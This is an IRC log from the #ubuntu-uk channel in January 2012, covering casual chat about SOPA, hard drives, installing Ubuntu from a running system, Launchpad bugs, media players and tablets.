<Pendulum> simondbull: http://www.washingtonpost.com/business/technology/sopa-twitter-will-not-join-wikipedia-reddit-in-blackout/2012/01/17/gIQAvDta5P_story.html?tid=pm_business_pop (has some of the reasoning why they won't take part)
<AlanBell> well it was more a framework for other people to design on, but thanks simondbull
<simondbull> pendulum: thanks :)
<oimon> twitter is a business?
<ahayzen> alanbell: Have Canonical starting talking to hardware manafacturers yet, or is that information not public?
<Seeker`> Jabber \o/
<AlanBell> ahayzen: I don't work for canonical, but they were at CES where therer are lots of hardware manufacturers to talk to
<Myrtti> Pendulum: did I get my assumptions right?
<ahayzen> alanbell: Thanks...would love a Ubuntu TV :)
<Myrtti> looks like I kinda did
<Myrtti> in other news, I blacked out some pictures of Lamar Smith in Flickr
<Myrtti> :-D
<oimon> who he?
<oimon> mmm flapjacks with ginger
<ahayzen> oimon: mmm flapjacks
<MattJ> JABBER \o/
<MattJ> Jabber flapjacks
<ahayzen> gotta try this at some point :) ... http://ubuntu-uk.org/2010/11/10/5-minute-chocolate-cake-in-a-mug/
<simondbull> i wouldn't like to clean up my microwave after tht....
<jutnux> I tried it and failed
<jutnux> it tasted disgusting
<ahayzen> jutnux: lol
<simondbull> jutnux: my mum would kill me if i left the microwave in that state....
<gord> http://s0.2mdn.net/2768331/PID_1883817_default.jpg <-- why would you choose that to advertise fibre internet? - what is it trying to say?
<ahayzen> gord: confused...
<oimon> what's the diffrence between seagate barracuda and barracuda XT?
<oimon> cache, rpm , etc seem the same
<ahayzen> oimon: u pay more for the XT? lol
<oimon> Â£40 it seems
<oimon> can't find any other diff
<ahayzen> oimon: the XT series is SATA 3 (6Gb/s)... is the non XT SATA2?
<oimon> http://www.ebuyer.com/319641-barracuda-2tb-sata-3-5in-7200rpm-64mb-6gb-s-in-st2000dm001 and http://www.ebuyer.com/176584-seagate-2tb-barracuda-xt-hard-drive-3-5-sata-iii-7200rpm-64mb-st32000641as
<ahayzen> oimon: seems that they are the same...
<ahayzen> Seagate website
<ahayzen> Capacity 2TBâ3TB (XT) 250GBâ3TB (non-XT)
<ahayzen> Annual Failure Rate 0.34% (XT) <1% (non XT)
<ahayzen> oimon: they are the only differences I can see
<oimon> longer warranty?
<oimon> it's weird.
<ahayzen> oimon: probably
<oimon> also, ebuyer are much cheaper than insight for these drives
<oimon> ebuyer prices are really fluctuating tho
<oimon> dell told me they couldn't supply 2tb drives for my system since there is a 60 day lead time
<BarryK> Short supply of hard drives all over place due to the floods in thai land
<BarryK> *thailand
<oimon> yeah
<Seeker`> MattJ: you're getting slow in your old age :O
<MattJ> Seeker`, afraid so :/
<Seeker`> :(
<gordonjcp> is there a way to install Ubuntu from a running Ubuntu?
<gordonjcp> ie. same idea as when you boot from a CD and click the installer
<oimon> why would you want to do that?
<AlanBell> so you want to run ubiquity from an installed ubuntu and have it overwrite itself?
<oimon> (still doesn't answer why...but) you can't unmount system partitions that you are using
<gordonjcp> no, install on a drive to put into another machine
<gordonjcp> ie. I have a running laptop with Ubuntu, and a drive in an external caddy which I want to install Ubuntu on to then put into a desktop
<oimon> ah that's slightly different
<AlanBell> hmm, in theory you can run ubiquity from a running desktop, but it just crashes for me right now
<popey> i have done an install from inside an install
<popey> using chroot
<popey> and/or debootstrap
<shauno> I was about to say, debootstrap used to rock for that
<AlanBell> then install ubuntu-desktop and it should haul in all the stuff
<AlanBell> if you want all the stuff that is
<gordonjcp> yeah, this is for a desktop
<oimon> couldn't you use usb-creator and write the iso to the /dev/sdb instead?
<gordonjcp> doesn't that just give me a bootable install disk on my drive?
<AlanBell> probably involves a bit of grub and maybe fstab tinkering to get it to boot
<oimon> can't you use reconstructor to customize the live cd for persistence mode
<oimon> http://www.howtogeek.com/howto/22145/how-to-create-your-own-customized-ubuntu-live-cd/
<oimon> this would allow persistence mode and custom apps,
<gordonjcp> oimon: I don't want a livecd though
<gordonjcp> I just want to install a fresh install of Ubuntu, from a machine that is already working, onto a drive for a machine that is flaky as all hell about booting from USB
<gordonjcp> but it's too late now anyway because I'm heading home in 20 minutes and it's going to take longer than that anyway
<oimon> i had that issue the other day with a dell. i used a CD
<gordonjcp> can't use a CD
<gordonjcp> no way to create a CD, not sure if the target machine has any sort of CD drive
<AlanBell> gordonjcp: one way to do it would be use virtualbox and set the external disk up as a raw disk, and boot a vm from an iso
<oimon> or PXE boot
<gordonjcp> yeah, I might do that
<oimon> of course the easiest answer is to replace the disk in another PC and move it back after install
<oimon> but PXE booting is useful to learn
<gordonjcp> oimon: well that's what I'm trying to do
<oimon> why not boot from usb then?
<gordonjcp> because I don't want to interrupt other stuff I've got running
<gordonjcp> and it seems inelegant
<TheOpenSourcerer> lol - we didn't make many calls on our company voip service during december. Our bill was Â£1.83 :-D
<oimon> i prob use my work phone once a week
<oimon> and my mobile even less
<christel> TheOpenSourcerer: that's a bit high, i think you should have words with AlanBell about his personal use of the company voip service..
<christel> :s
 * czajkowski tickles christel 
<AlanBell> this is a real phone bill http://www.met.police.uk/foi/pdfs/disclosure_2011/december/2011110000259.pdf
<oimon> wow
<oimon> that's our tax bill down the drain
<czajkowski> why on gods green earth would you need to spend Â£18,401.65
<czajkowski> on a talking clock
<gord> Great clock shortage of '09
<christel> jesus that is a lot of calls
<AlanBell> so you can be busy on the phone for the last 5 minutes until your shift ends
<oimon> AlanBell: only a devious person would do that
<DJones> Why would you spend ~Â£100K on directory enquiries...isn't it quicker/cheaper to look them up on the BT website
<AlanBell> well I can understand that one to be honest
<czajkowski> AlanBell: you're missing from surrey
<oimon> really? you can implement your own directory enquiries for less
<DJones> I know it says that a large number of staff aren't office based
<czajkowski> oimon: if you can I'm sure BT would like to know
<czajkowski> and everyone else would to be cheaper than using it
<tugrik> I presume its onsite officers checking the exact time for reports / witness statements / etc ?
<AlanBell> oimon: ok, so have 4 staff in a calling pool in the internal telephone system doing directory enquiries for the force and you just spent Â£100,000
<oimon> yep.
<oimon> however they probably have a call centre performing similar services
<tugrik> that's just the cost of the staff though, wouldn't access to the equivalent database cost more?
<oimon> so no need to setup a new one. maybe employ only 2 extra staff. and train them to speak robot and cover the 1-2-3 calls too
<oimon> you can buy disks from BT pretty cheap
<tugrik> yah, but then you've got to set up the interface to them
<tugrik> and you need more than four staff to cover illness and holiday leave, and shift patterns as it needs to be 24/7
<oimon> it appears they haven't looked into it though
<tugrik> and I ***presume*** you need the authority of the source of the time to be verified in some way to prevent prosecution lawyers questions the timing of events in court, whereas I presume the speaking clock is verified?
<tugrik> I wouldn't expect so - I would think it would cost quite a lot just to look at the possibility of looking at setting it up ;)
<oimon> digital watches are quite good at telling the time accurately
<oimon> maybe one guy rang 123 and left the phone off the hook for a year
<tugrik> "quite good" isn't good enough in court, I'd guess.  I'd check with a Met Police friend, but I always ask her about police matters ;)
<oimon> half the work has been done by the FOI request
<tugrik> be interesting if they can use that, or whether an investigation would require looking at the figures again
<AlanBell> dunno if they use the speaking clock in interview rooms to get a timestamp on tape, that would kind of make sense
<AlanBell> but if that was my data I would be correlating it against shift end times
<oimon> i read that a 19year old girl posed as a boy during a 7 month relationship with 15 and 16year old girls....how?
<oimon> it turns out they even knew her as a girl at the same time....weird.
<gord> did you read this in the daily mail?
<oimon> google news
<oimon> even in the telegraph
<oimon> if it happened on tv i wouldn't believe it
<popey> https://twitter.com/#!/HantsPolice/status/159668981349888002
<popey> *sigh*
<popey> click the link
<oimon> isn't t.co down for SOPA?
<popey> no
<popey> http://www.hampshire.police.uk/Internet/news/releases/Police+release+CCTV+images+of+people+sought+in+connection+with+theft+in+Fleet.htm
<oimon> server toobusy
<czajkowski> daubers: http://www.breakingnews.ie/ireland/minister-considering-broadcasting-charge-whether-you-have-a-tv-or-not-536421.html
<Myrtti> the law for that passed in Finland
<Myrtti> there was much rejoicing
<MartijnVdS> Same in .nl -- it's part of normal taxes
<MartijnVdS> also, you can become a member of broadcasting orgs (they're associations, legally)
<MartijnVdS> and number-of-members is a factor in the determination for who gets the most tax money
<s-fox> Goodbye.
<MartijnVdS> bye s-
<shauno> a bit weak that bbc news 24 haven't mentioned the wikipedia blackout, but keep repeating their thing about a town in the middle of nowhere turning their lights off so they can watch the rain better
<brobostigon> shauno: they did mention it, while i was having lunch, wikuipedia and sopa.
<shauno> hm.  I tuned in for the 6 o'clock news, and haven't heard anything yet
<brobostigon> ok, but it has been mentioned and reported on, it was just after pmq's.
<gordonjcp> BBC Radio Scotland mentioned it a couple of times
<TheOpenSourcerer> It was discussed several times on Today BBC R4 this morning.
<brobostigon> crime spree in dulverton with lights off, hmm, interesting rumour.
<MartijnVdS> brobostigon: http://www.abandonia.com/en/games/535/Crime+Wave.html
<brobostigon> MartijnVdS: it is a light off, in a town, in order to have no light contamination for star viewing. an  experiment.
<MartijnVdS> brobostigon: ah, sounds cool
<MartijnVdS> we need that here :(
<brobostigon> MartijnVdS: havew a LOOK ON BBC2.
 * MartijnVdS switches channels
<brobostigon> sorry.
<MartijnVdS> BBC HD too \o/
<brobostigon> bbcstargazing. :)
<MartijnVdS> brobostigon: if you love that, http://www.youtube.com/deepskyvideos
<brobostigon> MartijnVdS: let me look.
<brobostigon> MartijnVdS: physics is one of my hobbies.
<MartijnVdS> brobostigon: not many videos yet, but they're going to do the entire Messier catalog
<brobostigon> interesting.
<MartijnVdS> brobostigon: and it's by the same people as youtube.com/sixtysymbols (the physics channel)
 * brobostigon subscribes.
<brobostigon> ah
<MartijnVdS> brobostigon: also check his other channels (periodicvideos, numberphile, and a few others)
<brobostigon> ok,
<brobostigon> thank you.
<MartijnVdS> brobostigon: here's the list:  http://www.bradyharan.com/
<swat_> evening all
<popey> lo
<brobostigon> o/
<awilkins> It's Wednesday, Wednesday, gotta get down on Wednesday, everybody's working 'til the weekend, weekend.
<zleap> well at least the SOPA issue made the news
<zleap> i am surprised there is nothing on the google site
<awilkins> there was a Doodle on for it in the states
<directhex> but not on google.com/ncr, oddly enough
<directhex> usually that shows us-only doodles
<awilkins> And they have a page about it. I think they should have made it global.
<awilkins> Just because it's a US policy, it still affects the rest of us.
<zleap> yeah
<zleap> i think murdoch making comments about all this and attacking google is a laugh,  his integrity became zero with the newscorp hacking scandel
<zleap> scandal
<zleap> its like bill gates or steve balmer accusingsomeone of having a monopoly
<awilkins> Old media hate new media. The Metro was snarky about Wikipedia being full of false biographies and dogy facts.
<popey> yet the metro quotes wikipedia as fact regularly
<zleap> yeahm,  thing is with wikipedia is that errors can be corrected,  print media can't be corrected until the next issue
 * zleap has just made website back to normal ready for upload on Thursday
<ali1234> is it just me or is rupert murdoch's twitter sound a bit like the ramblings of a crazy person?
<directhex> AlanBell, it *is*
<directhex> erm, ali1234
<AlanBell> o/
<ali1234> each tweet reads like a cryptic crossword clue
<ali1234> "Brilliant, visionary but just too much baggage!  And erratic."
<ali1234> 22 across, 6 letters
#ubuntu-uk 2012-01-19
<hoover> morning all
<AlanBell> morning
<TheOpenSourcerer> morning
<czajkowski> aloha
<daubers> Morning
<czajkowski> daubers: http://www.irishexaminer.com/breakingnews/ireland/minister-considering-broadcasting-charge-whether-you-have-a-tv-or-not-536421.html
<czajkowski> is how Ireland plans to deal with the tv fee
<shauno> jumping straight from fees lost to evasion, to charging people who don't have TVs, seems like a bit of a wild leap
<czajkowski> nods
<czajkowski> but in some ways it's true, many people dont have tvs have laptops now and watch stuff via it
<shauno> so now I need a laptop license :)
<daubers> czajkowski: Meh. I have no argument with the licence fee, just with the way it's enforced
<shauno> I'm no fan of the license fee here.  the value returned on it seems incredibly low.
<shauno> I can see the cultural value to tg4, but the main value of RTE seems to be to make sure that you can still watching Neighbours if you don't receive the bbc by other means
<daubers> What do people recommend in terms of forum software these days?
<swat_> daubers: google groups? :)
<daubers> swat_: I've been told by someone that they want a forum and not just google groups
<daubers> It's been specifically specified
<oimon> phpbb comes with lots of nice sql injection features
<oimon> handy if you forget your password
<bigcalm_lappy> Good morning meeps
<oimon> MEEP!
<oimon> my son's favourite word
<christel> :D
<oimon> shame about Kodak, couldn't adapt to the market
<oimon> maybe they could have injected their cash pile into making cheap and easy 3d printers for homes rather than switching from photography to inkjet printers
<occupy64k> As companies get bigger and more successful they also become less adaptive
<DJones> oimon: My favourite word at the minute rhymes with "meep" Its sleep
<oimon> neep is a character from abney and teal, a wonderful programme
<tonytiger> AlanBell: is this happy hour happening tonight?
 * bigcalm_lappy waves bye bye to London
<JamesTait> Good day, all. :)
<bigcalm_lappy> Like that this train is zipping though stations without stopping
<swat_> daubers: no idea, just need one that's regularly maintained presumably
<brobostigon> good morning everyone,
<bigcalm_lappy> Morning over there
<christel> morning pretties
<brobostigon> morning bigcalm_lappy and christel
<doet> @search paleo
 * bigcalm_lappy curls up and hides from the world
<bigcalm_lappy> Last night was good
<christel> what did you do bigcalm_lappy
<bigcalm_lappy> christel: drank and had yummy curry
<christel> ah :)
 * bigcalm_lappy gives up trying to do work
<christel> haha
 * s-fox just gives up, full stop
<s-fox> :D
<christel> aww
<Myrtti> why do all the nice jobs that I want to apply for need to be somewhere far away? I don't want to move to Belfast
<Myrtti> even Glasgow is a bit far
<Myrtti> ;___;
<ubuntubhoy> Glasgow is the centre of the universe
<occupy64k> Everything happens in Glasgow.  The rest is just virtual.
<d3ngar>  Hi, I am getting the error message 'Not allowed' when trying to access a USB memory stick
<d3ngar> I am running 11.10
<d3ngar> Any ideas?
<jpds> Hmm.
<gordonjcp> d3ngar: "Not allowed" doesn't sound like the full error message
<gordonjcp> d3ngar: can you give us the error message verbatim?
<gordonjcp> Myrtti: Glasgow's quite good
<d3ngar> gordonjcp: I'm afraid I don't see anything else in Nautilus
<d3ngar> "Unable to mount DATABAR Not authorized
<d3ngar> I am member of the plugdev group
<Myrtti> gordonjcp: yeah, I don't doubt that, I'd move there in a heartbeat if I were alone
<ubuntubhoy> move to East Ren and the schools are also top notch
<ubuntubhoy> short commute to city centre
<directhex> so... n9
<christel> i have never been to glasgow :s
<daubers> Been to glasgow a coulpe of times. Reinforced my "I hate cities" thinking
<christel> hehe
<christel> i am not a big fan of cities
<ubuntubhoy> cities are wonderful fantastic places
<christel> i'd rather have acres of land, a farmhouse in the middle of nowhere and no neighbours :)
<ubuntubhoy> where else can you get mugged for a fish supper but in a city
<Myrtti> should go to Edinburgh to dig up some more information about BF's family history
<oimon> drove through glasgow once. we locked the doors
<gordonjcp> christel: stick "G66 1RS" into gooooooooogle maps
<smittix> Does everyone here use Ubuntu as their default system?
<oimon> smittix: most, i'd guess
<occupy64k> for desktop, yes
<gordonjcp> christel: that's actually dropping the pin about 100m up from my house
 * christel tickles sladen 
<christel> gordonjcp: ooh
<gordonjcp> smittix: I do now
<smittix> Cool, Was just wondering. I Was having a conversation in Fedora. It appeared that most of them actually used a different os as their default.
<smittix> Mainly Windows.
<gordonjcp> heh
<gordonjcp> I'm split about 50/50 between Ubuntu and Arch
<smittix> I haven't tried Arch yet.
<gordonjcp> with other weird outliers like Haiku as appropriate
<smittix> I have been using Fedora for past week though.
<oimon> arch doesn't exist
<smittix> Haiku is nice.
<oimon> it's a virtual OS quoted by internet trolls
<smittix> HEH
<popey> morning ratfans
<popey> if anyone is on 12.04 could you please confirm bug 914354 ?
<lubotu3> Error: Launchpad bug 914354 could not be found
<popey> whut
<gordonjcp> popey: evidently not
 * popey unmarks as private
<popey> basically install magicicada and try to run it, it faails to start
<oimon> yes popey
<gord> buh 9143534
<gord> bug 9143534
<lubotu3> Error: Launchpad bug 9143534 could not be found
<gord> stupid bot
<gord> let me be lazy
<gord> bug 914534
<lubotu3> Error: Launchpad bug 914534 could not be found
<oimon> i voted it
<gord> bug 914354
<lubotu3> Launchpad bug 914354 in magicicada (Ubuntu) "magicicada crashed with ImportError in /usr/lib/python2.7/dist-packages/magicicada/dbusiface.py: No module named tools" [Low,Confirmed] https://launchpad.net/bugs/914354
<oimon> however i never used it before
<gord> its for ubuntu one users
<gord> i noticed it being crashy the other day
<oimon> could be useful
<gord> that kind of bug is what you get when you use python though =\
<popey> its for you to see what files are currently syncing
<popey> tis handy
<davmor2> morning all
<davmor2> czajkowski: prodings
<gord> its mostly handy because i still don't trust u1 to actually do things ;)
<gord> morning davmor2
<davmor2> gord: shame on you hang your head in shame right this very moment
<gord> no >:(
<gordonjcp> oh, wait, I'm not on 12.04 on my laptop yet
<davmor2> gord: how will you know if it will or won't if you don't try it and then report bugs on the things that don't work
<gord> davmor2, eh? i use u1 all day long
<davmor2> gord: so how can you not trust it to do stuff
<gord> davmor2, because sometimes it doesn't work for whatever reason
<davmor2> I get locks from time to time but I just kick till it works :)
<davmor2> and now thunderbird decides to start crashing
<gord> i'm always on dev releases so i get a lot of problems, sometimes its just really slow
<davmor2> gord: ah that's true I forgot about that, I have test boxes and main is stable
<smittix> 12.04 any good? I haven't gotten round to trying it yet.
<Myrtti> oh man, Spotify stopped working because of flash :-(
<smittix> :/
<Myrtti> I is not happy
<d3ngar> I also have a very annoying issue with Tomboy notes
<d3ngar> I really have a lot of notes there and synced with Ubuntu One
<d3ngar> But for some reason I now get sync errors on two of my machiens, so I don't have the notes available
<d3ngar> Is there something I can do?
<czajkowski> d3ngar: have you asked in #ubuntuone
<czajkowski> very helpful folks there who may be able to help you
<d3ngar> czarjkowski: thanks, I shall
 * christel hugs czajkowski 
<czajkowski> d3ngar: np
<czajkowski> christel: hello darling
<christel> how art thou? :)
<czajkowski> not bad now my dear.
<gordonjcp> popey: I don't know if it affects me or not, I can reproduce the error but I don't use magicicada ;-)
<czajkowski> virgin media are being a bit special this mornig
<czajkowski> *morning
<christel> czajkowski: are you off the pain meds since surgery? :)
 * daubers orders some tea
<christel> i dreamt of adam sweet last night, it was very odd
<czajkowski> yes more or less, still at night due to tossing and turning and trying not to anoying the back
<christel> *nod*
<czajkowski> but a massive reduction alright
<czajkowski> need to sort out physio though
<christel> didn't your surgeon refer you yet?
<czajkowski> he did to guys but got it swapped to st.thomas as it's literally next door to me here
<czajkowski> but said no physio till maybe week 3 or week 4
<czajkowski> and still no sitting for longer than 20 mins till week 5/6
<christel> aaah
<czajkowski> christel: pelvis is still tilted so need to get that bit fixed
<czajkowski> and phsyio should fix that
<christel> *nod*
<MangoBoy>  hi. Hope you all are well. Automatic connect does'n't work on my mobile broadband connection in network manager. What can i do?
<MangoBoy> I have asked at #nm but no one answers there
<gordonjcp> what does it do?
<davmor2> MangoBoy: enable it for auto connect,  click on n-m applet click on edit connections and then mobile connections and then the setup you have click on edit and check the box for autoconnect?
<MangoBoy> I have done that
<davmor2>  MangoBoy I'd say it was a bug then that normally is all you have to do :(
<MangoBoy>  i have had it like this for months.. i'm just tired to have to grab the mouse to get online everytime
<MangoBoy> could ther be a comand to use in an script to call
<MangoBoy> ??
<davmor2> MangoBoy: report a bug against it
<MangoBoy> ok
<davmor2> MangoBoy: or check if there is already a bug and it might have a solution in it
<MangoBoy> ok
<j0nr> any JPGraph experts?
<oimon> how should i interpret this call trace? http://pastebin.com/h7d9i3HY
<smittix> bah bad day today
<smittix> Some moron is trying to bruteforce our FTP
<jpds> Someone's still using FTP.
<smittix> HEH
<DJones> Sheesh, filling in an ecommerce survey, "What percentage of staff had internet access" = 100%, next question "What percentage did not have internet access"......Erm... Surely they could work that out
<Laney> put 1% and see what happens
<DJones> Heh
<DJones> And...3 Questions further on..."Did the business have internet access"
<shauno> "no, we only employed people with smartphones"
<DJones> There's a question about that as well
<shauno> *thunk*
<gord> hrm, kdenlive is really pretty good, very impressed
<smittix> Does anyone else get Encryption errors on boot?
<smittix> Im using 11.10
<shonk> nick shonk|home
<smittix> heh
<tim__> hello
<nothingspecial> hello tim__
<oimon> anyone heard of itunesU ? seems to be a universirty version of itunes for distributing lectures and podcasts?
<smittix> Not heard of that one.
<nothingspecial> The Open University use normal iTunes, or it did
<bigcalm> I do wish the new version of spotify with apps 'n wotnot would get released soon. Tried their .deb and it failed for me. Need something more stable
 * bigcalm ponders wine
<danfish_> I'll have a beer if you are offering bigcalm ;)
<danfish_> and afternoon all
 * bigcalm acquires coffee
<christel> coffee is not wine you know
<bigcalm> christel: I really really want to go to sleep. Wine would tip me over the edge I fear
<davmor2> christel: You misunderstood him he meant to say whine
<bigcalm> London is a real drain upon the mind and soul
<davmor2> christel: ^ see
<christel> hehe
<bigcalm> Oh yes, I whine a lot about wine
<christel> davmor2: ah, he always whines
<bigcalm> davmor2: I hope the cafe has improved its menu ready for Thursday. The burger is good, but I miss that garlic bread
<davmor2> hahaha
<bigcalm> christel: I'm a whino
<smittix> bigcalm: How are you installing Spotify now? via their repo?
<bigcalm> davmor2: It is a week today, right?
<bigcalm> smittix: yes
<davmor2> bigcalm: it is 26th
<christel> what happens a week today
<christel> and why haven't i been invited
<davmor2> all booked and ready to rock and er rolla
<bigcalm> davmor2: so yes
<bigcalm> christel: please come!!
<bigcalm> Wolverhampton work place day
<christel> where? what? when? who? whaaaa
<christel> ooh
<christel> (what on earth is that?)
<bigcalm> Haha
<davmor2> christel: Co-working space
<christel> aah
<bigcalm> Some of us work from home types meet up once a month to work in the same room
<christel> aw that is so sweet
<bigcalm> I go for the red-head spotting
<christel> haha
<davmor2> christel: what amazes me without fail is we all manage to go home in one piece at the end of it :D
<christel> haha
<bigcalm> It's usually a very unproductive day for me
<bigcalm> But it's worth it to get out of the house and see humans
<christel> hehe
<tim__> i come on no one talking come back from ciggy break and everyone is talking :D
 * smittix hides
<bigcalm> christel: join us ;)
<christel> bigcalm: but i'd get no work done!
<christel> :P
<bigcalm> davmor2: can we get any more Canonical reprobates to come?
<davmor2> mrevell: are you coming this time? 26th?
<christel> is it just the two of you? :p
<christel> aww i like matthew
<christel> he is cute
<bigcalm> aquarius: are you coming this time? 26th?
<mrevell> davmor2, Checking my calendar
<mrevell> Hello christel :)
<davmor2> christel: Nope there are about 4-5
<christel> heya mrevell! ;)
<bigcalm> christel: the 1st one was just me and davmor2
<bigcalm> I bet davmor2 was glad that I turned up
<mrevell> davmor2, I have one call in the afternoon. I could probably handle that, though. It's the day after my birthday.
<mrevell> :)
<davmor2> bigcalm: and the redhead don't forget the red head :D
<mrevell> davmor2, Yeah, I should be there.
<davmor2> yay!
<bigcalm> davmor2: I doubt she noticed me :P
<christel> i think it's quite nifty
<christel> that you do that
<bigcalm> mrevell: yay, well done :)
<christel> because i totally suffer from cabin fever now and again being one of these working from home people
<bigcalm> Yep
<mrevell> It can be cabin fevery, certainly. We've started using Google Hangouts, with webcams, quite a bit lately and it has actually helped.
<bigcalm> Going to London yesterday was quite a shock to my system, but really glad it happened
<gord> tis a fun day for the entire family
<bigcalm> o.O
<bigcalm> The Canonical family?
<davmor2> christel: Your more than welcome to come but it might be a trek for you Only one train from London to Wolvo :)
<AlanBell> tonytiger: I have failed to get my act together for an organised happy hour as such
<davmor2> AlanBell: I can possibly sort one out for next month now the dust is settling again
<bigcalm> \o/
<christel> AlanBell: is this the southampton one? :)
<AlanBell> yeah
<AlanBell> I am in Portsmouth right now
<christel> aah
<bigcalm> AlanBell: seen any sailors?
<Daviey> mrevell: yeah, keep seeing you hangout.. and tempted to jump in, saying "suprise!"
<mrevell> haha
<mrevell> It's all mostly relevant to you, actually Daviey
<AlanBell> bigcalm: I have not said "hello sailor" all day
<bigcalm> AlanBell: it must be a struggle not to get it out of the system
<Daviey> mrevell: right, but jumping in whilst just wearing a dicky bow and doc martins wouldn't go down well?
<mrevell> haha
<Daviey> aquarius quits in disgust.
<mrevell> He's just gone to buy himself a dickie bow.
<bigcalm> Heh
<bigcalm> Just realised that I haven't had lunch
<bigcalm> Oh bum
<bigcalm> Pot noodle!
 * popey tickles Daviey 
<Daviey> stop it, you.
 * popey tickles aquarius 
 * bigcalm kippers popey
<Laney> my word
<czajkowski> evening chaparoos
<czajkowski> I'd like to say watching movies onmovie player is a good experience, it's just not
<czajkowski> it's now just not playing some .avi clips for some unkown reason randomly
<bigcalm> czajkowski: will vlc play the files that movie player won't?
<directhex> gst-launch playbin2 uri=file:///path/to/file
<directhex> since totem is gstreamer-based, that's more diagnostic than a completely different player
<czajkowski> bigcalm: yup and no issues
<bigcalm> czajkowski: aye, I've had that as well with some files
<bigcalm> Which is why I've made vlc the default for nearly everything
<popey> bug 18661
<lubotu3> Launchpad bug 18661 in debian-installer (Ubuntu) "Temporary /tmp on a tmpfs" [Wishlist,Confirmed] https://launchpad.net/bugs/18661
<smittix> Anyone had any luck getting itunes to work in a VM?
<popey> yes, slowly
<smittix> I hate my iPhone
<bigcalm> smittix: there are alternatives
<nothingspecial> smittix, yep
<nothingspecial> what's the matter?
<smittix> I tried on a Win7 VM but it was complaining about a driver or something.
<smittix> I'll try again this evening
<nothingspecial> Working fine here
<smittix> All i want to do is put a TV Show on it.
<nothingspecial> I prefer watching tv on my tv :p
<smittix> I have a Wife who likes watching crap
<smittix> heh
<DJones> smittix: +1
<nothingspecial> me too
<nothingspecial> I have one with an iphone, the only reason I have the VM
<smittix> ahh
<nothingspecial> She should wat ch the nonsense on the iphone
<nothingspecial> Then I can watch propper tv :)
<smittix> I might swap my iPhone for a samsung galaxy s2. I just need to read up on them before i do.
<DJones> smittix: Did you see this? http://crave.cnet.co.uk/mobiles/samsung-galaxy-s3-leaked-by-samsung-50006698/
 * nothingspecial bought an Â£8.99 phone from tesco
<czajkowski> aquarius: did you sort out the SSD laptop ?
<aquarius> czajkowski, yeah -- is not ssd
<smittix> DJones: Interesting.
<aquarius> had to go out and spend money on a new hdd, dammit
<aquarius> still, the machine is now running ubuntu. ;)
<czajkowski> aquarius: I was about to offer you one :/
<bigcalm> Yay Ubuntu
<bigcalm> I've had to put the HDD back in my laptop so I can be productive with it. 12.04 isn't ready for my ageing laptop
<popey> oooh
 * czajkowski hugs popey 
<bigcalm> Aaah?
<popey> just a little bit
<bigcalm> \o/
<czajkowski> popey: bigcalm now I have this song in my head http://www.youtube.com/watch?v=IIw3BtSPHtI
<popey> mission accomplished
<Laney> if this is Gina G...
<Laney> oh, much better
<czajkowski> Laney: oi I've taste you know
<czajkowski> I can see an eveing of Ub40 on now
<smittix> Claim to fame - My mates brother is the keyboard player in UB40.
<czajkowski> smittix: sweet
<czajkowski> love them
<czajkowski> habe now got the promises and lies album on
<smittix> What's your favourite song?
<czajkowski> http://www.youtube.com/watch?v=mUur_LS0s5g
<czajkowski> that
<gordonjcp> smittix: nice
<bigcalm> The lady who introduced me to joints, in the village I grew up in, her brother wrote and performed the music for Tomb Raider
<smittix> czajkowski: Mine - http://www.youtube.com/watch?v=VCGcljqOSW0
<gordonjcp> I explained to Shawn Rudiman how to modify an Alesis HR16 drum machine to have custom sample chips
<czajkowski> nice
<smittix> And Groovin' for a summer song. heh
<czajkowski> hmm wonder where is the cheapest place to get a once off digital picture printed
<smittix> I really need to get round to enabling num lock on boot.
<czajkowski> hmmm my notification email doesnt seem to work on this machine
<czajkowski> it was nice when it changed colour
<gord> i wish i had just one tape measure i didn't ruin by playing with it all day every day
<bigcalm> Do I or don't I and will it get ICS? http://www.carphonewarehouse.com/mobiles/mobile-phones/MOTOROLA-XOOM-WI-FI
<MartijnVdS> bigcalm: You will
<MartijnVdS> bigcalm: and if you don't you can flash US firmware into it and still get it
<MartijnVdS> (like I did.. Dutch firmware is always 6 months behind)
<MartijnVdS> (this is all about getting ICS)
<bigcalm> MartijnVdS: a good tablet?
<MartijnVdS> bigcalm: awesome
<bigcalm> Good price tag?
<MartijnVdS> I got ICS this morning
<MartijnVdS> Â£249 looks good
<MartijnVdS> They're Â£83 more expensive here in .nl
<davmor2> bigcalm: great tablet I can bring mine on thursday + it will get ICS eventually
<bigcalm> Ooo
<MartijnVdS> davmor2: today is Thurs
<bigcalm> The main thing is that it's capable of ICS (my N1 isn't for instance)
<bigcalm> MartijnVdS, davmor2: what do you use your xooms for? I still need to justify getting one to myself
<MartijnVdS> I use it for (dutch equiv of iplayer) and Wordfeud
<MartijnVdS> and youtube videos
<bigcalm> The cheapo tablet I bought I hardly use except for mobile dev now and then
<bigcalm> Front facing camera?
<MartijnVdS> works fine
<davmor2> bigcalm: games, web brawsing, kindle app, linux news app, twitter, g+, facebook feeds, youtube.............
<jutnux> I use my tablet for Skype video chats sometimes.
<jutnux> As well as Facebook, G+, youtube, internet, Aldiko and Minecraft <3
<MartijnVdS> jutnux: I have a Kindle, so aldiko is useless to me :)
<jutnux> MartijnVdS: I don't know whether to get one or not.
<jutnux> I mean, they're good, but my tablet can do it all except have an e-ink display.
<bigcalm> I also have a kindle, which is relaxing upon my eyes for reading
<davmor2> bigcalm: indeed I only use it as I don't have a kindle wifey does so I can see the difference
<davmor2> kindle is much kinder but you asked what I used it for :)
<bigcalm> davmor2: indeed, and thank you :)
<davmor2> bigcalm: as I say I'll bring it with on thursday you can have a play
<bigcalm> davmor2: I dunno if I can keep myself from not buying it now - not sure if the price will stay put for a week
<davmor2> bigcalm: http://www.xoomforums.com/forum/motorola-xoom-news/14046-media-confirmation-ics-update-rolling-out-motorola-wifi-xoom-tablets.html
<davmor2> when is another matter it is motorola after all :)
<davmor2> bigcalm: the thing that impressed me the most is the fact that using it on and off for 3days it still had battery power :)
<bigcalm> Heh
<bigcalm> "You cannot back order this item because we are experiencing temporary stock problems. Please remove this item from the basket before continuing"
<bigcalm> Arse
<jutnux> What are you backordering?
<jutnux> I just ordered a Â£4 microphone from Amazon as I must Skype more.
<Myrtti> mgdm: the bug you retweeted doesn't affect any version of Ubuntu :-P
<mgdm> Myrtti: good to hear :)
<jutnux> What's your twitter mgdm & Myrtti
<jutnux> ?
<Myrtti> we're using ol^C^Cstable version of xorg :-P
<Myrtti> jutnux: the answer is so simple you get no points or cookies for guessing right
<jutnux> Ah
 * jutnux follows
<Myrtti> and now you can actually follow me since my profile has been public for a few months
<Myrtti> yay?
<czajkowski> I wanna cookie
<czajkowski> christel: how's that bake fest coming clong
